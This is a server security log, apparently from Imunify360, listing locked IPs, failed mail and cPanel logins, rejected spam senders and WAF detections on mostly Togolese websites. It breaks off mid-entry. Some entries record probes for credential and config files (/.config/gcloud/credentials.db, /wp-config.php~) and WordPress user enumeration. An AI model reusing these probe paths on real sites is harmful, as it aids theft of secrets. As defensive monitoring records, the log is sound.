# incident

plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 112.133.105.205
country_id: 1835841
description:
Jun 12 00:02:46 ns5 auth[914371]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 112.133.105.205 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 84.242.180.190
country_id: 732800
description:
Jun 12 00:02:54 ns5 auth[914371]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 84.242.180.190 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 211.198.128.204
country_id: 1835841
description:
Jun 12 00:03:21 ns5 auth[914371]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 211.198.128.204 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 84.242.180.190
country_id: 732800
description:
Jun 12 00:03:23 ns5 auth[914371]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 84.242.180.190 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 36.154.116.10
country_id: 1814991
description:
Jun 12 00:03:21 ns5 auth[914371]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 36.154.116.10 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 61.136.142.13
country_id: 1814991
description:
Jun 12 00:04:10 ns5 auth[914371]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 61.136.142.13 has been locked due to Imunify RBL


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 130.12.182.188
country_id: 6252001
description:
Jun 12 00:04:17 ns5 pure-ftpd[1075841]: (?@130.12.182.188) [INFO] New connection from 130.12.182.188


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.14
country_id: 1880251
description:
47.128.96.14 - - [12/Jun/2026:00:05:36 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7182488&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Feleves-de-classe-de-passage%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781222735 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/eleves-de-classe-de-passage/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.14


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 176.103.3.176
country_id: 690791
description:
Jun 12 00:05:41 ns5 auth[914371]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 176.103.3.176 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 65.20.153.146
country_id: 99237
description:
Jun 12 00:06:02 ns5 auth[914371]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 65.20.153.146 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.153.146
country_id: 99237
description:
2026-06-12 00:06:04 dovecot_login authenticator failed for H=([202.111.183.254]) [65.20.153.146]:41187: 535 Incorrect authentication data (set_id=wages@wages.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 00:06:16 ns5 auth[914371]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 00:06:24 ns5 auth[914371]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 201.15.149.254
country_id: 3469034
description:
2026-06-12 00:06:35 dovecot_login authenticator failed for H=(customer-187-218-57-50.uninet-ide.com.mx) [201.15.149.254]:54950: 535 Incorrect authentication data (set_id=wages)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 201.15.149.254
country_id: 3469034
description:
Jun 12 00:06:33 ns5 auth[914371]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 201.15.149.254 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.3.32.12
country_id: 6252001
domain: ceni-togo.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/ceni-togo.tg/sitemap.xml HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.106.77.0
country_id: 1562822
description:
2026-06-12 00:10:10 dovecot_plain authenticator failed for H=(nz6rl10tson5svnmkeuitzaonu10gq8) [116.106.77.0]:50579: 535 Incorrect authentication data (set_id=info@sigm.tg)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.3.32.13
country_id: 6252001
domain: ceni-togo.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/ceni-togo.tg/news-sitemap.xml HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.3.32.119
country_id: 6252001
domain: ceni-togo.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/ceni-togo.tg/robots.txt HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.3.32.129
country_id: 6252001
domain: ceni-togo.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/ceni-togo.tg/wp-sitemap.xml HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.3.32.124
country_id: 6252001
domain: ceni-togo.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/ceni-togo.tg/sitemap_index.xml HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.90.185.91
country_id: 130758
description:
Jun 12 00:10:51 ns5 auth[914371]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.90.185.91 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 130.49.218.108
country_id: 2017370
description:
Jun 12 00:11:37 ns5 auth[914371]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 130.49.218.108 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 130.49.218.108
country_id: 2017370
description:
2026-06-12 00:11:39 dovecot_plain authenticator failed for H=(xhvzz8l6vl0864ktmcq) [130.49.218.108]:60708: 535 Incorrect authentication data (set_id=moise.attissovi@mesyscom.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.167.44.65
country_id: 1562822
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/ecobank-sierra-leone-signe-deux-financements-miniers-strategiques/ HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.167.44.65
country_id: 1562822
domain: togodailynews.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tghttp/togodailynews.tg/ecobank-sierra-leone-signe-deux-financements-miniers-strategiques/ HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.133
country_id: 1880251
description:
47.128.96.133 - - [12/Jun/2026:00:13:51 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9935300&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fdosiapp%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781223230 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/dosiapp/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.133


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.76.247.148
country_id: 933860
description:
Jun 12 00:14:28 ns5 auth[914371]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.76.247.148 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 38.252.64.174
country_id: 3469034
description:
Jun 12 00:14:48 ns5 auth[914371]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 38.252.64.174 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 00:15:55 ns5 auth[914371]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 00:17:31 ns5 auth[914371]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 60.173.105.206
country_id: 1814991
description:
Jun 12 00:18:12 ns5 auth[914371]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 60.173.105.206 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 60.173.105.206
country_id: 1814991
description:
2026-06-12 00:18:14 dovecot_login authenticator failed for H=(dsl-hkibng42-50dfc2-237.dhcp.inet.fi) [60.173.105.206]:54433: 535 Incorrect authentication data (set_id=wages@wages.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 121.84.147.45
country_id: 1861060
description:
Jun 12 00:18:44 ns5 auth[914371]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 121.84.147.45 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.84.147.45
country_id: 1861060
description:
2026-06-12 00:18:46 dovecot_login authenticator failed for H=121-84-147-45f1.osk1.eonet.ne.jp (89-233-203-159.cust.bredband2.com) [121.84.147.45]:34724: 535 Incorrect authentication data (set_id=wages)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.166.253.226
country_id: 1269750
description:
Jun 12 00:18:41 ns5 auth[914371]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.166.253.226 has been locked due to Imunify RBL


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 34.165.175.4
country_id: 294640
domain: www.smarty.tg.154-70-82-246.cpanel.site
description:
IM360 WAF: Bad file extension||RSV:8.15||T:APACHE||MVN:REQUEST_FILENAME||MV:/.config/gcloud/credentials.db||User:root||


plugin: modsec
rule: 77350212
name: IM360 WAF: Information Disclosure Attempt in WordPress
abuser: 34.165.175.4
country_id: 294640
domain: www.smarty.tg.154-70-82-246.cpanel.site
description:
IM360 WAF: Information Disclosure Attempt in WordPress||MV:/wp-config.php~||RSV:8.15||T:APACHE||REQUEST_URI:/wp-config.php~||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 00:25:33 ns5 auth[914371]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 00:27:10 ns5 auth[914371]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 72.56.73.224
country_id: 6252001
description:
Jun 12 00:28:29 ns5 auth[914371]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 72.56.73.224 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 72.56.73.224
country_id: 6252001
description:
2026-06-12 00:28:31 dovecot_plain authenticator failed for H=(d59gy37igsshduzjqmqyc) [72.56.73.224]:45811: 535 Incorrect authentication data (set_id=sergdev@dgdn-togo.tg)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 38.191.223.102
country_id: 3686110
domain: www.djama.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.djama.tg/uploads/images/12.jpeg HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.79.11.195
country_id: 1880251
domain: ca-togo.org
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/ca-togo.org/client/assets/css/bootstrap.min.css HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.126.223.175
country_id: 2017370
description:
Jun 12 00:32:07 ns5 auth[914371]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.126.223.175 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 187.110.238.141
country_id: 3469034
description:
2026-06-12 00:32:07 H=([187.110.238.141]) [187.110.238.141]:38770 F=<name5OHBrcgsB8Pc@white-ways.com> rejected RCPT <name5OHBrcgsB8Pc@white-ways.com>: Sender verify failed


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 92.126.223.175
country_id: 2017370
description:
2026-06-12 00:32:09 dovecot_login authenticator failed for H=(48.92.zcomnetworks.com.pk) [92.126.223.175]:58922: 535 Incorrect authentication data (set_id=wages)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 93.241.232.14
country_id: 2921044
description:
Jun 12 00:31:27 ns5 auth[914371]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 93.241.232.14 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 93.241.232.14
country_id: 2921044
description:
2026-06-12 00:31:29 dovecot_login authenticator failed for H=p5df1e80e.dip0.t-ipconnect.de ([70.166.167.35]) [93.241.232.14]:59268: 535 Incorrect authentication data (set_id=wages@wages.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 5.175.213.112
country_id: 6252001
description:
[2026-06-12 00:31:35 +0000] info [cpaneld] 5.175.213.112 - aogodmm "POST //login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.72.71.43
country_id: 1562822
description:
Jun 12 00:31:42 ns5 auth[914371]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.72.71.43 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 198.147.22.226
country_id: 6252001
description:
198.147.22.226 - - [12/Jun/2026:00:32:36 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6920291&pdata=http%253A%252F%252Fkpmg.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781224353 HTTP/1.1" 302 0 kpmg.tg "http://kpmg.tg/" "Mozilla/5.0 (Linux; arm_64; Android 14; TECNO KL5n) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.7680.115 YaBrowser/26.4.4.115.00 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:198.147.22.226


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 103.200.38.66
country_id: 1210997
description:
2026-06-12 00:32:57 H=([103.200.38.66]) [103.200.38.66]:37864 F=<nameFdCedWZM7yqh@white-ways.com> rejected RCPT <nameFdCedWZM7yqh@white-ways.com>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 00:33:40 ns5 auth[914371]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 103.149.194.96
country_id: 1269750
description:
2026-06-12 00:33:45 H=([103.149.194.96]) [103.149.194.96]:55699 F=<namel9teUbhMyx4x@white-ways.com> rejected RCPT <namel9teUbhMyx4x@white-ways.com>: Sender verify failed


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 203.189.156.239
country_id: 1831722
description:
2026-06-12 00:34:29 H=([203.189.156.239]) [203.189.156.239]:48915 F=<nameEKP7XWYmokpK@white-ways.com> rejected RCPT <nameEKP7XWYmokpK@white-ways.com>: Sender verify failed


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.127.223.133
country_id: 1269750
description:
2026-06-12 00:35:12 H=([45.127.223.133]) [45.127.223.133]:57458 F=<nameDsYigK5KovJp@white-ways.com> rejected RCPT <nameDsYigK5KovJp@white-ways.com>: Sender verify failed


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 185.168.175.226
country_id: 3175395
description:
2026-06-12 00:36:39 H=([185.168.175.226]) [185.168.175.226]:45563 F=<name4ttT3jTAEup7@white-ways.com> rejected RCPT <name4ttT3jTAEup7@white-ways.com>: Sender verify failed


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 187.11.70.46
country_id: 3469034
description:
2026-06-12 00:38:08 H=([187.11.70.46]) [187.11.70.46]:42734 F=<nametgnx6QwbgYkH@white-ways.com> rejected RCPT <nametgnx6QwbgYkH@white-ways.com>: Sender verify failed


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 174.118.45.202
country_id: 6251999
domain: tdn.tg
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.15||T:APACHE||MV:/wp-json/wp/v2/users/2?context=view&_fields=id%2Cname&_locale=user||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 170.245.31.128
country_id: 3469034
description:
2026-06-12 00:38:52 H=([170.245.31.128]) [170.245.31.128]:51160 F=<nameDGSj36k1dUwZ@white-ways.com> rejected RCPT <nameDGSj36k1dUwZ@white-ways.com>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 00:38:55 ns5 auth[914371]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 95.107.165.76
country_id: 783754
description:
2026-06-12 00:39:34 H=([95.107.165.76]) [95.107.165.76]:40222 F=<nameLRpkm73VDlTJ@white-ways.com> rejected RCPT <nameLRpkm73VDlTJ@white-ways.com>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.139.19.183
country_id: 2300660
description:
Jun 12 00:39:50 ns5 auth[914371]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.139.19.183 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 95.111.40.173
country_id: 732800
description:
2026-06-12 00:40:18 H=([95.111.40.173]) [95.111.40.173]:51936 F=<nametb3fZ6aGRlIC@white-ways.com> rejected RCPT <nametb3fZ6aGRlIC@white-ways.com>: Sender verify failed


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 121.56.215.4
country_id: 1814991
description:
2026-06-12 00:41:08 H=([121.56.215.4]) [121.56.215.4]:39279 F=<namehfhmLBg45BE3@white-ways.com> rejected RCPT <namehfhmLBg45BE3@white-ways.com>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 35.130.111.146
country_id: 6252001
description:
Jun 12 00:40:55 ns5 auth[914371]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 35.130.111.146 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 159.138.29.81
country_id: 1819730
description:
159.138.29.81 - - [12/Jun/2026:00:42:10 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6854513&pdata=https%253A%252F%252F24heureinfo.tg%252Finternational%252Fau-senegal-lopposant-ousmane-sonko-arrete-a-dakar%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781224928 HTTP/2.0" 302 0 24heureinfo.tg "https://24heureinfo.tg/international/au-senegal-lopposant-ousmane-sonko-arrete-a-dakar/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:159.138.29.81


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 88.234.218.161
country_id: 298795
description:
88.234.218.161 - - [12/Jun/2026:00:41:42 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13135211&pdata=https%253A%252F%252Fmediatopnews.tg%252F%253Fp%253D10426&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781224900 HTTP/2.0" 302 0 mediatopnews.tg "https://mediatopnews.tg/?p=10426" "Mozilla/5.0 (Linux; Android 8.0; Pixel 2 Build/OPD3.170816.012) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.2064.1432 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:88.234.218.161


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.90.185.91
country_id: 130758
description:
Jun 12 00:41:45 ns5 auth[914371]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.90.185.91 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 197.254.52.94
country_id: 192950
description:
2026-06-12 00:41:51 H=([197.254.52.94]) [197.254.52.94]:57484 F=<nameDKgzvDBb6pGK@white-ways.com> rejected RCPT <nameDKgzvDBb6pGK@white-ways.com>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 220.93.167.144
country_id: 1835841
description:
Jun 12 00:44:33 ns5 auth[914371]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 220.93.167.144 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 85.19.195.12
country_id: 3144096
description:
Jun 12 00:44:43 ns5 auth[914371]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 85.19.195.12 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.93.167.144
country_id: 1835841
description:
2026-06-12 00:44:35 dovecot_login authenticator failed for H=([220.93.167.144]) [220.93.167.144]:39244: 535 Incorrect authentication data (set_id=tps@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 85.19.195.12
country_id: 3144096
description:
2026-06-12 00:44:45 dovecot_login authenticator failed for H=(85-19-195-12.telia-isp.no) [85.19.195.12]:43290: 535 Incorrect authentication data (set_id=tps)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.72.71.43
country_id: 1562822
description:
Jun 12 00:45:50 ns5 auth[914371]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.72.71.43 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 00:45:57 ns5 auth[914371]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 104.233.19.111
country_id: 2921044
domain: hotelyabisso.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.15||T:APACHE||RA:104.233.19.111||TA:104.233.19.111||


plugin: modsec
rule: 77674285
name: IM360 WAF: Track upload attempt
abuser: 106.49.48.45
country_id: 6251999
domain: togodailynews.tg
description:
IM360 WAF: Track upload attempt||MVN:ARGS:request_uri||MV:session-ordinaire-2021-litra-cloture-les-comptes-de-lexercice-2020-et-evalue-les-activites-2021-a-mi-parcours/||RSV:8.15||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 00:47:40 ns5 auth[914371]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 98.159.37.15
country_id: 6252001
description:
98.159.37.15 - - [12/Jun/2026:00:51:25 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10077585&pdata=https%253A%252F%252Fappflutter.free.netmaster.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781225482 HTTP/2.0" 302 0 appflutter.free.netmaster.tg "https://appflutter.free.netmaster.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:98.159.37.15


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 152.232.15.238
country_id: 6252001
domain: civilemagazine.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.15||T:APACHE||RA:152.232.15.238||TA:152.232.15.238||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 00:52:46 ns5 auth[914371]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 151.241.41.145
country_id: 146669
domain: togodailynews.tg:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg:80/wp-content/uploads/2026/06/33-1024x768-1-300x225.webp HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 151.241.102.130
country_id: 453733
domain: togodailynews.tg:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg:80/?wmcAction=wmcTrack&action_name=Salon BIOFACH 2024\xc2\xa0: Le Togo va r\xc3\xa9affirmer son statut d\xe2\x80\x99acteur dynamique du d\xc3\xa9veloppement durable sur la sc\xc3\xa8ne internationale | TOGODAILYNEWS&siteId=1&rec=1&rand=934301&h=8&m=53&s=0&url=http:/togodailynews.tg/salon-biofach-2024-le-togo-va-reaffirmer-son-statut-dacteur-dynamique-du-developpement-durable-sur-la-scene-internationale/&uid=0&pid=13565&visitorId=84b4241b188bb612&fvts=1781225580&vc=1&idn=0&refts=0&lvts=1781225580&fullRef=undefined&send_image=1&cookie=1&res=375x812&gtms=3442&pvId=0E0IaD&browser=Chrome_47&os=Android_5.0&device=Mobile HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 151.241.102.130
country_id: 453733
domain: togodailynews.tg:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg:80/?wmcAction=wmcTrack&ping=1&siteId=1&rec=1&rand=430673&h=8&m=53&s=15&url=http:/togodailynews.tg/salon-biofach-2024-le-togo-va-reaffirmer-son-statut-dacteur-dynamique-du-developpement-durable-sur-la-scene-internationale/&uid=0&pid=13565&visitorId=84b4241b188bb612&fvts=1781225580&vc=1&idn=0&refts=0&lvts=1781225580&fullRef=undefined&send_image=1&cookie=1&res=375x812&gtms=3442&pvId=0E0IaD&browser=Chrome_47&os=Android_5.0&device=Mobile HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.44.71.93
country_id: 3469034
description:
Jun 12 00:55:17 ns5 auth[914371]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.44.71.93 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.44.71.93
country_id: 3469034
description:
Jun 12 00:55:25 ns5 auth[914371]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.44.71.93 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
